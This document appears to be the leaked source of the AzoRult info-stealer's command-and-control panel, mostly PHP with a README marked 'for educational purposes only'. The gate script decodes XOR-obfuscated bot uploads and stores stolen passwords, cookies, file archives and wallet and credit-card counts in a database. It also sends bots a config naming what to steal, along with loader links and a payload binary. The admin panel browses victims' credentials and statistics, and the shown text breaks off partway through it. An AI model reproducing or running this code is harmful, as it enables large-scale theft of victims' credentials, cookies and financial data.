├── .htaccess
├── README.md
├── index.php
└── panel
├── .htaccess
├── admin.php
├── config.json
├── css
├── menu.css
└── style.css
├── files
├── .htaccess
└── index.html
├── functions.php
├── guest.php
├── html
├── cookiesconverter.html
├── exporter.html
├── fullpage.html
├── guest.html
├── home.html
├── importantlinks.html
├── login.html
├── menu.html
├── passwords.html
├── reports.html
└── serverinfo.html
├── img
├── cfg.png
├── filter_minus.png
├── filter_plus.png
├── flags
│ ├── aa.png
│ ├── ad.png
│ ├── ae.png
│ ├── af.png
│ ├── ag.png
│ ├── ai.png
│ ├── al.png
│ ├── am.png
│ ├── an.png
│ ├── ao.png
│ ├── ar.png
│ ├── as.png
│ ├── at.png
│ ├── au.png
│ ├── aw.png
│ ├── ax.png
│ ├── az.png
│ ├── ba.png
│ ├── bb.png
│ ├── bd.png
│ ├── be.png
│ ├── bf.png
│ ├── bg.png
│ ├── bh.png
│ ├── bi.png
│ ├── bj.png
│ ├── bm.png
│ ├── bn.png
│ ├── bo.png
│ ├── br.png
│ ├── bs.png
│ ├── bt.png
│ ├── bv.png
│ ├── bw.png
│ ├── by.png
│ ├── bz.png
│ ├── ca.png
│ ├── catalonia.png
│ ├── cc.png
│ ├── cd.png
│ ├── cf.png
│ ├── cg.png
│ ├── ch.png
│ ├── ci.png
│ ├── ck.png
│ ├── cl.png
│ ├── cm.png
│ ├── cn.png
│ ├── co.png
│ ├── cr.png
│ ├── cs.png
│ ├── cu.png
│ ├── cv.png
│ ├── cx.png
│ ├── cy.png
│ ├── cz.png
│ ├── de.png
│ ├── dj.png
│ ├── dk.png
│ ├── dm.png
│ ├── do.png
│ ├── dz.png
│ ├── ec.png
│ ├── ee.png
│ ├── eg.png
│ ├── eh.png
│ ├── england.png
│ ├── er.png
│ ├── es.png
│ ├── et.png
│ ├── eu.png
│ ├── europeanunion.png
│ ├── fam.png
│ ├── fi.png
│ ├── fj.png
│ ├── fk.png
│ ├── fm.png
│ ├── fo.png
│ ├── fr.png
│ ├── ga.png
│ ├── gb.png
│ ├── gd.png
│ ├── ge.png
│ ├── gf.png
│ ├── gh.png
│ ├── gi.png
│ ├── gl.png
│ ├── gm.png
│ ├── gn.png
│ ├── gp.png
│ ├── gq.png
│ ├── gr.png
│ ├── gs.png
│ ├── gt.png
│ ├── gu.png
│ ├── gw.png
│ ├── gy.png
│ ├── hk.png
│ ├── hm.png
│ ├── hn.png
│ ├── hr.png
│ ├── ht.png
│ ├── hu.png
│ ├── id.png
│ ├── ie.png
│ ├── il.png
│ ├── in.png
│ ├── io.png
│ ├── iq.png
│ ├── ir.png
│ ├── is.png
│ ├── it.png
│ ├── jm.png
│ ├── jo.png
│ ├── jp.png
│ ├── ke.png
│ ├── kg.png
│ ├── kh.png
│ ├── ki.png
│ ├── km.png
│ ├── kn.png
│ ├── kp.png
│ ├── kr.png
│ ├── kw.png
│ ├── ky.png
│ ├── kz.png
│ ├── la.png
│ ├── lb.png
│ ├── lc.png
│ ├── li.png
│ ├── lk.png
│ ├── lr.png
│ ├── ls.png
│ ├── lt.png
│ ├── lu.png
│ ├── lv.png
│ ├── ly.png
│ ├── ma.png
│ ├── mc.png
│ ├── md.png
│ ├── me.png
│ ├── mg.png
│ ├── mh.png
│ ├── mk.png
│ ├── ml.png
│ ├── mm.png
│ ├── mn.png
│ ├── mo.png
│ ├── mp.png
│ ├── mq.png
│ ├── mr.png
│ ├── ms.png
│ ├── mt.png
│ ├── mu.png
│ ├── mv.png
│ ├── mw.png
│ ├── mx.png
│ ├── my.png
│ ├── mz.png
│ ├── na.png
│ ├── nc.png
│ ├── ne.png
│ ├── nf.png
│ ├── ng.png
│ ├── ni.png
│ ├── nl.png
│ ├── no.png
│ ├── np.png
│ ├── nr.png
│ ├── nu.png
│ ├── nz.png
│ ├── om.png
│ ├── pa.png
│ ├── pe.png
│ ├── pf.png
│ ├── pg.png
│ ├── ph.png
│ ├── pk.png
│ ├── pl.png
│ ├── pm.png
│ ├── pn.png
│ ├── pr.png
│ ├── ps.png
│ ├── pt.png
│ ├── pw.png
│ ├── py.png
│ ├── qa.png
│ ├── re.png
│ ├── ro.png
│ ├── rs.png
│ ├── ru.png
│ ├── rw.png
│ ├── sa.png
│ ├── sb.png
│ ├── sc.png
│ ├── scotland.png
│ ├── sd.png
│ ├── se.png
│ ├── sg.png
│ ├── sh.png
│ ├── si.png
│ ├── sj.png
│ ├── sk.png
│ ├── sl.png
│ ├── sm.png
│ ├── sn.png
│ ├── so.png
│ ├── sr.png
│ ├── st.png
│ ├── sv.png
│ ├── sy.png
│ ├── sz.png
│ ├── tc.png
│ ├── td.png
│ ├── tf.png
│ ├── tg.png
│ ├── th.png
│ ├── tj.png
│ ├── tk.png
│ ├── tl.png
│ ├── tm.png
│ ├── tn.png
│ ├── to.png
│ ├── tr.png
│ ├── tt.png
│ ├── tv.png
│ ├── tw.png
│ ├── tz.png
│ ├── ua.png
│ ├── ug.png
│ ├── um.png
│ ├── us.png
│ ├── uy.png
│ ├── uz.png
│ ├── va.png
│ ├── vc.png
│ ├── ve.png
│ ├── vg.png
│ ├── vi.png
│ ├── vn.png
│ ├── vu.png
│ ├── wales.png
│ ├── wf.png
│ ├── ws.png
│ ├── ye.png
│ ├── yt.png
│ ├── za.png
│ ├── zm.png
│ └── zw.png
├── logo.png
├── softs
│ ├── 360Browser.png
│ ├── 7Star.png
│ ├── Amigo.png
│ ├── Brave.png
│ ├── Bromium.png
│ ├── CentBrowser.png
│ ├── Chedot.png
│ ├── Chromium.png
│ ├── CocCoc.png
│ ├── ComodoDragon.png
│ ├── Cyberfox.png
│ ├── ElementsBrowser.png
│ ├── Epic.png
│ ├── FileZilla.png
│ ├── GoBrowser.png
│ ├── GoogleChrome.png
│ ├── GoogleChrome64.png
│ ├── IceDragon.png
│ ├── InternetExplorer.png
│ ├── InternetMailRu.png
│ ├── Kometa.png
│ ├── MicrosoftEdge.png
│ ├── MozillaFireFox.png
│ ├── Mustang.png
│ ├── Nichrome.png
│ ├── Opera.png
│ ├── Orbitum.png
│ ├── Outlook.png
│ ├── PaleMoon.png
│ ├── Pidgin.png
│ ├── Psi.png
│ ├── PsiPlus.png
│ ├── QIPSurf.png
│ ├── RockMelt.png
│ ├── SaferBrowser.png
│ ├── Sputnik.png
│ ├── Suhba.png
│ ├── Superbird.png
│ ├── ThunderBird.png
│ ├── TorBro.png
│ ├── Torch.png
│ ├── Uran.png
│ ├── Vivaldi.png
│ ├── Waterfox.png
│ ├── WinSCP.png
│ └── YandexBrowser.png
├── st.png
├── tool.png
└── win
│ ├── 10.0.png
│ ├── 10.0s.png
│ ├── 5.1.png
│ ├── 5.2.png
│ ├── 5.2s.png
│ ├── 6.0.png
│ ├── 6.0s.png
│ ├── 6.1.png
│ ├── 6.1s.png
│ ├── 6.2.png
│ ├── 6.2s.png
│ ├── 6.3.png
│ └── 6.3s.png
├── info
└── dump.sql
├── js
├── base64.js
└── snippets.js
├── links.txt
├── modules
├── bin
│ └── bin.bin
└── maxmind
│ ├── GeoLite2-Country.mmdb
│ └── maxmind.php
└── phpinfo.php
/.htaccess:
--------------------------------------------------------------------------------
1 | Options -Indexes
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # azorult
2 | Leaked AzoRult Panel
3 |
4 | For educational purposes only - Don't be stupid!
5 |
--------------------------------------------------------------------------------
/index.php:
--------------------------------------------------------------------------------
1 | =$max) $datalen=$max;
47 | $j=0;
48 | for($i=0;$i<$datalen; $i++){
49 | $data[$i] = chr(ord($data[$i])^ord($key[$j]));
50 | $j++;
51 | if($j>($keylen-1)) $j=0;
52 | }
53 | return $data;
54 | }
55 |
56 |
57 | function GetISO($ip)
58 | {
59 | if(!filter_var($ip, FILTER_VALIDATE_IP)) {
60 | return "AA";
61 | }
62 | include PANELPATH."modules/maxmind/maxmind.php";
63 | $reader = new Reader(PANELPATH.'modules/maxmind/GeoLite2-Country.mmdb');
64 | $iso = 'AA';
65 |
66 | try {
67 | $data = $reader->get($ip);
68 | if(isset($data["represented_country"]["iso_code"]))
69 | $iso=$data["represented_country"]["iso_code"];
70 |
71 | if(isset($data["registered_country"]["iso_code"]))
72 | $iso=$data["registered_country"]["iso_code"];
73 |
74 | if(isset($data["country"]["iso_code"]))
75 | $iso=$data["country"]["iso_code"];
76 | } catch (Exception $e) {
77 | $iso = 'AA';
78 | };
79 |
80 | if (strlen($iso)!=2)
81 | $iso = "AA";
82 | $reader->close();
83 | //unset($reader);
84 | return $iso;
85 | }
86 |
87 |
88 |
89 | function GetWork($mid){
90 | include PANELPATH."functions.php";
91 | $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME) or die('No connect');
92 | mysqli_set_charset($link, 'utf8' );
93 | $query = sprintf("SELECT COUNT(*) FROM reports WHERE reports.m_id='%s'",
94 | mysqli_real_escape_string($link, $mid));
95 | $res = mysqli_query($link, $query) or die('Query error');
96 |
97 | $row = mysqli_fetch_row($res);
98 |
99 | $count = $row[0];
100 | $repeated_reports = true;
101 |
102 | $JSONstr = FileToString(PANELPATH."config.json");
103 | $obj=json_decode($JSONstr);
104 |
105 |
106 | $CFGstr = "";
107 |
108 | $CFGstr .= ($obj->isDouble) ? '+' : '-';
109 | $CFGstr .= ($obj->isSavedPasswords) ? '+' : '-';
110 | $CFGstr .= ($obj->isBrowserData) ? '+' : '-';
111 | $CFGstr .= ($obj->isWallets) ? '+' : '-';
112 | $CFGstr .= ($obj->isSkype) ? '+' : '-';
113 | $CFGstr .= ($obj->isTelegram) ? '+' : '-';
114 | $CFGstr .= ($obj->isSteam) ? '+' : '-';
115 | $CFGstr .= ($obj->isScreenshot) ? '+' : '-';
116 | $CFGstr .= ($obj->isDelete) ? '+' : '-';
117 | $CFGstr .= ($obj->isBrowserHistory) ? '+' : '-';
118 | $CFGstr .= "\r\n";
119 | foreach($obj->files as $val){
120 | $CFGstr .= "F".chr(9);
121 | $CFGstr .= base64_decode($val->fgName).chr(9);
122 | $CFGstr .= base64_decode($val->fgPath).chr(9);
123 | $CFGstr .= base64_decode($val->fgMask).chr(9);
124 | $CFGstr .= base64_decode($val->fgMaxsize).chr(9);
125 | $CFGstr .= ($val->fgSubfolders) ? '+' : '-'; $CFGstr .= chr(9);
126 | $CFGstr .= ($val->fgShortcuts) ? '+' : '-'; $CFGstr .= chr(9);
127 |
128 | $tmp = base64_decode($val->fgExceptions);
129 | $tmp = str_replace("\r\n", "|", $tmp);
130 | $tmp = str_replace("\n", "|", $tmp);
131 | $tmp = str_replace("||", "|", $tmp);
132 | $CFGstr .= $tmp;
133 |
134 | $CFGstr .= "\r\n";
135 | }
136 |
137 |
138 | foreach($obj->loader as $val){
139 | $CFGstr .= "L".chr(9);
140 | $CFGstr .= base64_decode($val->ldLink).chr(9);
141 | $CFGstr .= ($val->ldHide) ? '+' : '-'; $CFGstr .= chr(9);
142 | $CFGstr .= base64_decode($val->ldTags);
143 | $CFGstr .= "\r\n";
144 | }
145 |
146 |
147 | $get_ip_api = GET_IP_API;
148 |
149 | if ($get_ip_api == false){
150 | $IP = getUserIP();
151 | $CO = GetISO($IP);
152 | $CFGstr .= "I".chr(9).$IP.":".$CO."\r\n";
153 | }
154 |
155 | if ($get_ip_api == true){
156 | $CFGstr .= "I".chr(9)."?".chr(9)."reserved"."\r\n";
157 | }
158 |
159 |
160 |
161 |
162 |
163 | $repeated_reports = $obj->isDouble;
164 | $res = true;
165 | if(($repeated_reports == false) and ($count>0))
166 | $res=false;
167 | $ret = "exit";
168 |
169 | if($res==true){
170 | $config = base64_encode($CFGstr);
171 | $ret = "$config".FileToString(PANELPATH."modules/bin/bin.bin");
172 | }
173 | mysqli_close($link);
174 | return $ret;
175 | };
176 |
177 |
178 |
179 |
180 | function ParseReport($data){
181 | include PANELPATH."functions.php";
182 |
183 | $unical_guid = "DV8CF101-053A-4498-98VA-EAB3719A088W-VF9A8B7AD-0FA0-4899-B4RD-D8006738DQCD";
184 | $info = (pars($data, "", ""));
185 | $pwds = (pars($data, "", ""));
186 | $coks = (pars($data, "", ""));
187 | $file = (pars($data, "", ""));
188 | $list = (pars($data, "", "
"));
189 |
190 |
191 | $IP = getUserIP();
192 |
193 |
194 | $info = explode('|', $info);
195 | $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME) or die('No connect');
196 |
197 | mysqli_set_charset($link, 'utf8' );
198 |
199 |
200 | $isocode = GetISO($IP);
201 |
202 | if (@$isocode == "") $isocode = "AA";
203 |
204 | $IPAPI = (pars($data, "", ""));
205 | if (strlen($IPAPI)>1){
206 |
207 | $tIP = explode(':', $IPAPI)[0];
208 | $tCO = explode(':', $IPAPI)[1];
209 |
210 | if (strlen($tIP)>1) $IP = $tIP;
211 | if (strlen($tCO)>1) $isocode = $tCO;
212 | };
213 | $data="";
214 |
215 | $filename = $isocode."-".date("Y-m-d H-i-s").str_replace(array(".","/","\\"), "",urldecode($info[0]))."-v32.zip";
216 | WriteToFile(PANELPATH."/files/$filename", $file);
217 | $query = sprintf("INSERT INTO reports (m_id,ip,country,date,time,compname,username,os_name,os_arch,os_ver,files_count, btc_count, cc_count,passwords_count,bin_type,bin_rights,filename) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",
218 | mysqli_real_escape_string($link, urldecode($info[0])),
219 | mysqli_real_escape_string($link, $IP),
220 | mysqli_real_escape_string($link, $isocode),
221 | mysqli_real_escape_string($link, date("Y-m-d")),
222 | mysqli_real_escape_string($link, date("H:i:s")),
223 | mysqli_real_escape_string($link, iconv("cp1251", "utf-8", urldecode($info[4]))),
224 | mysqli_real_escape_string($link, iconv("cp1251", "utf-8", urldecode($info[5]))), //user
225 | mysqli_real_escape_string($link, iconv("cp1251", "utf-8", urldecode($info[2]))),
226 | mysqli_real_escape_string($link, urldecode($info[3])),
227 | mysqli_real_escape_string($link, urldecode($info[1])),
228 |
229 | mysqli_real_escape_string($link, urldecode($info[9])),
230 | mysqli_real_escape_string($link, urldecode($info[7])),
231 | mysqli_real_escape_string($link, urldecode($info[8])),
232 | mysqli_real_escape_string($link, urldecode($info[6])),
233 |
234 | mysqli_real_escape_string($link, urldecode($info[10])),
235 | mysqli_real_escape_string($link, urldecode($info[11])),
236 | mysqli_real_escape_string($link, $filename));
237 |
238 | $res = mysqli_query($link,$query) or die('Query error');
239 | $r_id= mysqli_insert_id($link);
240 |
241 | $pwdlist = explode("\r\n", $pwds);
242 |
243 | $query = 'INSERT INTO `passwords` (p_soft_type, p_soft_name,r_id, p_p1, p_p2, p_p3, p_p4) VALUES ';
244 | foreach ($pwdlist as &$value) {
245 | $line = explode("|",$value);
246 | $soft_type = mysqli_real_escape_string($link, urldecode(@$line[0]));
247 | $soft_name = mysqli_real_escape_string($link, urldecode(@$line[1]));
248 | $p1 = mysqli_real_escape_string($link, urldecode(@$line[2]));
249 | $p2 = mysqli_real_escape_string($link, urldecode(@$line[3]));
250 | $p3 = mysqli_real_escape_string($link, urldecode(@$line[4]));
251 | $p4 = mysqli_real_escape_string($link, urldecode(@$line[5]));
252 | if(strlen($soft_type)>0)
253 | $query .= "('$soft_type', '$soft_name','$r_id', '$p1', '$p2', '$p3', '$p4'),";
254 |
255 | }
256 | $query = substr($query, 0, -1);
257 | $result = mysqli_query($link, $query);
258 |
259 | //$result = mysqli_query($link, "INSERT INTO `passwords` (p_soft_type, p_soft_name,r_id, p_p1, p_p2, p_p3, p_p4) VALUES ('$soft_type', '$soft_name','$r_id', '$p1', '$p2', '$p3', '$p4')");
260 |
261 | $query = 'INSERT INTO `cookies`(domain, r_id) VALUES ';
262 | $cookielist = explode("\r\n", $coks);
263 | foreach ($cookielist as $host) {
264 | $query .= sprintf("('%s', '$r_id'),", mysqli_real_escape_string($link, urldecode($host)))."\r\n";
265 |
266 | }
267 | $query = substr($query, 0, -3);
268 | $result = mysqli_query($link, $query);
269 | mysqli_close($link);
270 |
271 |
272 |
273 | };
274 |
275 |
276 |
277 | $xorkey = chr(13).chr(10).chr(200);
278 | $postdata = file_get_contents("php://input");
279 |
280 | $postdata = CB_XORm($postdata, $xorkey, 1024*512);
281 | if(strncmp("<", $postdata, 1)==0){
282 | echo "OK";
283 | ParseReport($postdata);
284 | die();
285 | };
286 |
287 |
288 | if(strncmp("G", $postdata, 1)==0){
289 | $work=GetWork(urldecode(substr($postdata,1)));
290 | $work=CB_XORm($work, $xorkey, 1024*512);
291 | echo $work;
292 | };
293 |
294 |
295 | ?>
--------------------------------------------------------------------------------
/panel/.htaccess:
--------------------------------------------------------------------------------
1 | Options -Indexes
--------------------------------------------------------------------------------
/panel/admin.php:
--------------------------------------------------------------------------------
1 | $value){
40 | $result[$i][$key2] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
41 |
42 | }
43 | }
44 |
45 | return $result;
46 | };
47 |
48 |
49 | function SetConfig(){
50 | if (isset($_POST['cfg'])){
51 | $JSONstr = urldecode($_POST['cfg']);
52 | WriteToFile("config.json", $JSONstr);
53 | }
54 |
55 | };
56 |
57 | function ExecSQL($query){
58 | $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME);
59 | if (!$link) {
60 | echo "DB error." . PHP_EOL;
61 | echo "Code errno: " . mysqli_connect_errno() . PHP_EOL;
62 | echo "Text error: " . mysqli_connect_error() . PHP_EOL;
63 | die();
64 | exit;
65 | }
66 |
67 | mysqli_set_charset($link, 'utf8' );
68 | $res = mysqli_query($link,$query);
69 | mysqli_close($link);
70 | };
71 |
72 | function LoadPageSkeleton(){
73 | global $HTML;
74 | global $CSRF_TOKEN;
75 | $HTML = FileToString("./html/fullpage.html");
76 | $HTML = str_replace("%csrf_token%", $CSRF_TOKEN, $HTML);
77 | };
78 |
79 | function ShowMenu(){
80 | global $HTML;
81 | global $PAGE;
82 | $menu = FileToString('./html/menu.html');
83 | if($PAGE == "home") $menu=str_replace("%1%", "class='active has-sub'", $menu);
84 | if($PAGE == "reports") $menu=str_replace("%2%", "class='active has-sub'", $menu);
85 | if($PAGE == "passwords") $menu=str_replace("%3%", "class='active has-sub'", $menu);
86 | if($PAGE == "cookiesconverter") $menu=str_replace("%4%", "class='active has-sub'", $menu);
87 | if($PAGE == "importantlinks") $menu=str_replace("%5%", "class='active has-sub'", $menu);
88 | if($PAGE == "exporter") $menu=str_replace("%6%", "class='active has-sub'", $menu);
89 | $HTML = str_replace("%MENU%",$menu, $HTML);
90 | };
91 |
92 | function ShowImportantLinksPage(){
93 | global $HTML;
94 | global $CSRF_TOKEN;
95 | $HTML = str_replace("%PADE_DATA%", FileToString('./html/importantlinks.html'), $HTML);
96 | $HTML = str_replace("%csrf_token%", $CSRF_TOKEN, $HTML);
97 | $HTML = str_replace("%links_data%", htmlspecialchars(FileToString('./links.txt'), ENT_QUOTES, 'UTF-8'), $HTML);
98 | };
99 |
100 | function ShowHomePage(){
101 | global $HTML;
102 | global $CSRF_TOKEN;
103 | $page=FileToString('./html/home.html');
104 | $tables='';
105 | $div="
";
106 |
107 |
108 | $c_all = SQLToArray("SELECT COUNT(*) AS c FROM reports")[0]['c'];
109 |
110 |
111 | $c_today = SQLToArray("SELECT COUNT(*) AS c FROM reports
112 | WHERE YEAR(reports.date) = YEAR(NOW()) AND MONTH(reports.date) = MONTH(NOW()) AND WEEK(reports.date, 1) = WEEK(NOW(), 1) AND DAY(reports.date) = DAY(NOW())")[0]['c'];
113 |
114 | $c_week = SQLToArray("SELECT COUNT(*) AS c FROM reports
115 | WHERE YEAR(reports.date) = YEAR(NOW()) AND MONTH(reports.date) = MONTH(NOW()) AND WEEK(reports.date, 1) = WEEK(NOW(), 1)")[0]['c'];
116 |
117 |
118 | $c_month = SQLToArray("SELECT COUNT(*) AS c FROM reports
119 | WHERE YEAR(reports.date) = YEAR(NOW()) AND MONTH(reports.date) = MONTH(NOW())")[0]['c'];
120 |
121 | $c_stat = array(
122 | array('All', $c_all),
123 | array('Today', $c_today),
124 | array('Week', $c_week),
125 | array('Month', $c_month),
126 | );
127 |
128 | $tables .=$div."Reports count".build_table($c_stat,
129 | array('', ''),
130 | "stat-table",
131 | array(' ', ' '),
132 | 'reportsgrid'
133 | )."
";
134 |
135 | $tmp = SQLToArray("SELECT country, COUNT(*) AS CountRec,
136 | COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent
137 | FROM reports
138 | GROUP BY `country`
139 | ORDER BY CountRec DESC");
140 | for($i=0; $i ".$tmp[$i]['country'];
142 | }
143 | $tables .=$div."Country stats".build_table($tmp,
144 | array('Country', 'count', '%'),
145 | "stat-table",
146 | array(' ', ' ', ' '),
147 | 'reportsgrid'
148 | )."";
149 |
150 |
151 |
152 | $tables .=$div."Arch stats".build_table(SQLToArray(" SELECT `os_arch`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent
153 | FROM reports
154 | GROUP BY `os_arch`
155 | ORDER BY CountRec DESC"),
156 | array('Arch', 'count', '%'),
157 | "stat-table",
158 | array(' ', ' ', ' '),
159 | 'reportsgrid'
160 | )."";
161 |
162 | $tmp = SQLToArray("SELECT `os_ver`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent
163 | FROM reports
164 | GROUP BY `os_ver`
165 | ORDER BY CountRec DESC");
166 | for($i=0; $i ".$tmp[$i]['os_ver'];
168 | }
169 |
170 | $tables .=$div."OS stats".build_table($tmp,
171 | array('OS', 'count', '%'),
172 | "stat-table",
173 | array(' ', ' ', ' '),
174 | 'reportsgrid'
175 | )."";
176 |
177 | $tables .=$div."Rights stats".build_table(SQLToArray(" SELECT `bin_rights`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent
178 | FROM reports
179 | GROUP BY `bin_rights`
180 | ORDER BY CountRec DESC"),
181 | array('Rights', 'count', '%'),
182 | "stat-table",
183 | array(' ', ' ', ' '),
184 | 'reportsgrid'
185 | )."";
186 |
187 | $tables .=$div."Binary type stats".build_table(SQLToArray(" SELECT `bin_type`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent
188 | FROM reports
189 | GROUP BY `bin_type`
190 | ORDER BY CountRec DESC"),
191 | array('Type', 'count', '%'),
192 | "stat-table",
193 | array(' ', ' ', ' '),
194 | 'reportsgrid'
195 | )."";
196 |
197 | $arr = SQLToArray(" SELECT `p_soft_type`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM passwords)*100 AS percent
198 | FROM passwords
199 | GROUP BY `p_soft_type`
200 | ORDER BY CountRec DESC");
201 | for ($i=0; $i";
214 | $tmp = SQLToArray(" SELECT p_soft_name, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM passwords)*100 AS percent
215 | FROM passwords
216 | GROUP BY `p_soft_name`
217 | ORDER BY CountRec DESC");
218 | for($i=0; $i ".$tmp[$i]['p_soft_name'];
220 | }
221 | $tables .=$div."Software stats".build_table($tmp,
222 | array('Soft', 'count', '%'),
223 | "stat-table",
224 | array(' ', ' ', ' '),
225 | 'reportsgrid'
226 | )."";
227 |
228 | $page=str_replace("%STATS%", $tables, $page);
229 |
230 |
231 |
232 | $config = FileToString('./config.json');
233 | $page = str_replace("%JSONstr%", base64_encode($config), $page);
234 |
235 |
236 | $HTML = str_replace("%PADE_DATA%", $page, $HTML);
237 | $HTML = str_replace("%csrf_token%", $CSRF_TOKEN, $HTML);
238 | };
239 |
240 | function ShowReportsPage(){
241 | foreach ($_GET as $value) {
242 | if (is_array($value)) die();
243 | }
244 | global $HTML;
245 |
246 | $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME);
247 | $query="SELECT concat(reports.date, ' ',reports.time),
248 | concat(reports.country, ' ',reports.ip) AS country_ip,
249 | concat(reports.compname, '(',reports.username,')') AS comp_user,
250 | concat(reports.os_ver, '||',reports.os_name, '(',os_arch,')') AS windows,
251 | reports.m_id AS m_id,
252 | reports.r_id,
253 | reports.comment,
254 | concat(reports.passwords_count, ' | ', reports.btc_count,' | ',reports.cc_count,' | ',reports.files_count),
255 | concat(reports.bin_type, '|', reports.bin_rights) AS bin,
256 | concat(reports.filename) AS filename
257 | FROM reports ";
258 | if(isset($_GET['cookiesearch'])) if(($_GET['cookiesearch'])!='')$query.=" JOIN cookies ON reports.r_id = cookies.r_id ";
259 | if(isset($_GET['inc_il'])) if ($_GET['inc_il']=="1") $query .=" JOIN passwords ON reports.r_id = passwords.r_id ";
260 | $query.=" WHERE 1=1 ";
261 |
262 | if(isset($_GET['datefrom'])) if(($_GET['datefrom'])!='') {
263 | $query .= " AND reports.date>='".mysqli_real_escape_string($link, $_GET['datefrom'])."'";
264 |
265 |
266 | };
267 | if(isset($_GET['dateup'])) if(($_GET['dateup'])!='') $query .= " AND reports.date<='".mysqli_real_escape_string($link, $_GET['dateup'])."'";
268 | if(isset($_GET['search'])) if(strlen($_GET['search'])>0) $query .= " AND LOCATE('".mysqli_real_escape_string($link, $_GET['search'])."', concat_ws('|', reports.country, reports.ip, reports.compname,reports.username,reports.os_name,reports.comment))";
269 |
270 | if(isset($_GET['countries']))
271 | if(strlen($_GET['countries'])>0)
272 | $query .= " AND LOCATE(reports.country, '".mysqli_real_escape_string($link, $_GET['countries'])."' ) ";
273 |
274 | if(isset($_GET['cookiesearch'])) if(($_GET['cookiesearch'])!='')
275 | //$query .= " AND (LOCATE('".$_GET['cookiesearch']."', cookies.domain) AND reports.r_id = cookies.r_id) ";
276 | $query .=" AND LOCATE('".mysqli_real_escape_string($link, $_GET['cookiesearch'])."', cookies.domain)";
277 | if(isset($_GET['inc_btc'])) if ($_GET['inc_btc']=="1") $query .=" AND reports.btc_count>0";
278 | if(isset($_GET['inc_cc'])) if ($_GET['inc_cc']=="1") $query .=" AND reports.cc_count>0";
279 | if(!isset($_GET['status'])) $query .=" AND reports.trashed=0";
280 | if(isset($_GET['status'])) if ($_GET['status']=="0") $query .=" AND reports.trashed=0";
281 | if(isset($_GET['status'])) if ($_GET['status']=="1") $query .=" AND reports.trashed=1";
282 |
283 |
284 | if(isset($_GET['inc_il'])) if ($_GET['inc_il']=="1")
285 | {
286 | $query .= " AND ( ";
287 | $links = explode("\r\n", FileToString("./links.txt"));
288 | foreach ($links as $key => $value) {
289 | //echo $value;
290 | $query .= "(passwords.p_p1 LIKE '".mysqli_real_escape_string($link, $value)."') OR";
291 | }
292 |
293 | $query = substr($query,0,-2);
294 | $query .= " ) ";
295 | }
296 |
297 | $query .=" GROUP BY reports.r_id";
298 | $query .=" ORDER BY concat(reports.date, ' ',reports.time) DESC";
299 | mysqli_close($link);
300 |
301 |
302 | //$query .=" LIMIT 28,5";
303 | //die($query);
304 |
305 | /*
306 | $isTryInject = false;
307 | foreach ($_GET as $value) {
308 | if (strripos($value, "'") !== false)
309 | $isTryInject = true;
310 | }
311 | if (!$isTryInject)*/
312 | //echo $query;
313 |
314 |
315 | $report = SQLToArray($query);
316 |
317 | $report=array_values($report);/**/
318 |
319 |
320 | for($i=0; $i$value){
323 | $report[$i][$key2] = antixss($value);
324 |
325 | }
326 | */
327 | $actionscode="
328 |
329 | ";
330 | $actionscode=sprintf($actionscode,
331 | $report[$i]["r_id"],
332 | $report[$i]["filename"],
333 | human_filesize(@filesize("./files/".$report[$i]["filename"]), 1),
334 | 'deleteRow(this); sendPost("action=DeleteReport&r_id='.$report[$i]["r_id"].'"); '
335 | );
336 | $report[$i]["filename"]=$actionscode;
337 | $country_ip=explode(' ', strtolower($report[$i]["country_ip"]));
338 | $report[$i]["country_ip"]="
".strtoupper($country_ip[0])." | $country_ip[1]";
339 |
340 |
341 | $windows=explode('||', $report[$i]["windows"]);
342 | $report[$i]["windows"]="
".$windows[1];
343 |
344 |
345 | $report[$i]["bin"].=' ';
346 | $report[$i]["comment"]=sprintf("Comment', 'pwd|btc|cc|files', 'T|R', 'Actions'),
359 | "reports-table",
360 | array(' ', ' ', ' ', ' ', ' ', ' ',' ', ' style="width: 20%"',' style="width: 7%"', ' align="right" width="1%" nowrap',' align="right" width="1%" nowrap'),
361 | 'reportsgrid'
362 | );
363 |
364 |
365 |
366 | $templ = FileToString('./html/reports.html');
367 | $templ = str_replace("%count%",
368 | count($report),
369 | $templ);
370 |
371 | $HTML = str_replace("%PADE_DATA%",
372 | $templ.$reportstable,
373 | $HTML);
374 |
375 | };
376 |
377 | function ShowPasswordsPage(){
378 | foreach ($_GET as $value) {
379 | if (is_array($value)) die();
380 |
381 | }
382 | $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME);
383 | $query="SELECT passwords.p_soft_name,
384 | passwords.p_p1,
385 | passwords.p_p2,
386 | passwords.p_p3,
387 | passwords.r_id
388 | FROM passwords, reports
389 | WHERE reports.r_id=passwords.r_id AND passwords.p_soft_name<>''
390 | ";
391 | if(isset($_GET['search'])) if(strlen($_GET['search'])>0) $query .= " AND LOCATE('".mysqli_real_escape_string($link, $_GET['search'])."', concat_ws('|', passwords.p_soft_name, passwords.p_p1, passwords.p_p2,passwords.p_p3,passwords.r_id))";
392 | if(isset($_GET['datefrom'])) if(($_GET['datefrom'])!='') $query .= " AND reports.date>='".mysqli_real_escape_string($link, $_GET['datefrom'])."'";
393 |
394 | if(isset($_GET['dateup'])) if(($_GET['dateup'])!='') $query .= " AND reports.date<='".mysqli_real_escape_string($link, $_GET['dateup'])."'";
395 | if(isset($_GET['soft_type1'])) {if ($_GET['soft_type1']=="1") $query .=" ";} else $query .=" AND passwords.p_soft_type<>1";
396 | if(isset($_GET['soft_type2'])) {if ($_GET['soft_type2']=="1") $query .=" ";} else $query .=" AND passwords.p_soft_type<>2";
